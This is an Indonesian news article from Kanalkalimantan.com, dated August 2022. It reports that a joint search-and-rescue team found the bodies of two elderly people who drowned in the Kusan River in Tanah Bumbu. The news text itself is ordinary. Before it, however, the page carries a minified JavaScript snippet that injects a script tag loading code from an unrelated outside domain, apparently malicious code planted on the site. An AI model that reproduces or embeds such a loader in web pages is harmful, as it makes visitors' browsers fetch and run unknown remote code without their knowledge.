(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dua Lansia Korban Tenggelam di Sungai Kusan Ditemukan Meninggal Dunia

KANALKALIMANTAN.COM, BATULICIN – Pencarian dua orang lansia yang menjadi korban tenggelam di Sungai Kusan, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu pada Jumat (19/8/2022) akhirnya membuahkan hasil.

Di hari ketiga pencarian, Tim SAR Gabungan yang terdiri dari Basarnas, Polsek Kusan Hilir, Koramil Kusan, Pol Airud Polda Kalsel, Dishub KUPP Pagatan, BPBD Tanah Bumbu, Damkar Tanah Bumbu, Pemerintah Kecamatan Kusan Hilir, Rescue PKJR Tanah Bumbu, Bagunal, TRT Rantau dan masyarakat, menemukan kedua korban dalam kondisi meninggal.

Kepala Kantor Pencarian dan Pertolongan Banjarmasin, Al Amrad, pada Minggu (21/8/2022), mengungkapkan, kedua korban tenggelam tersebut ditemukan dalam keadaan meninggal dunia dengan waktu dan tempat penemuan yang berbeda.

Korban atas nama Syamsiah (77), ditemukan pada Minggu (21/08/22) pukul 07:10 Wita, dengan jarak kurang lebih 3 KM dari LKP pada koordinat 3Â°35’21.23″S – 115Â°56’18.39″E.

Sementara korban atas nama Junaide (66), Tim SAR Gabungan menemukan korban pada pukul 11:44 Wita sejauh 12 KM dari LKP pada koordinatÂ Â 3Â°33’53.194″S – 115Â°58’27,998″E.

“Setelah ditemukan, selanjutnya kedua korban segera dievakuasi ke rumah duka menggunakan ambulance,” tambahnya.

Deni Arizal selaku Koordinator Lapangan Operasi SAR kali ini mengatakan bahwa keberhasilan serta kelancaran operasi SAR kali ini tidak lepas dari solidnya kerjasama antar berbagai unsur SAR yang terlibat.

“Saya mewakili kepala kantor pencarian dan pertolongan Banjarmasin mengucapkan terimakasih banyak atas Kerjasama dan kekompakannya,” ucapnya.

Menanggapi kejadian ini, Al Amrad selaku Kepala Kantor pencarian dan Pertolongan Banjarmasin, mengimbau masyarakat untuk tetap waspada dan berhati-hati dalam melakukan aktivitas di sungai ataupun lingkungan air lainnya.

“Saya mengingatkan kepada seluruh masyarakat agar selalu menggunakan alat safety metika sedang melakukan aktifitas di air, seperti pelampung dan ring buoy guna mengantisipasi terjadinya hal hal yang tidak kita inginkan,” pesan Amrad. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell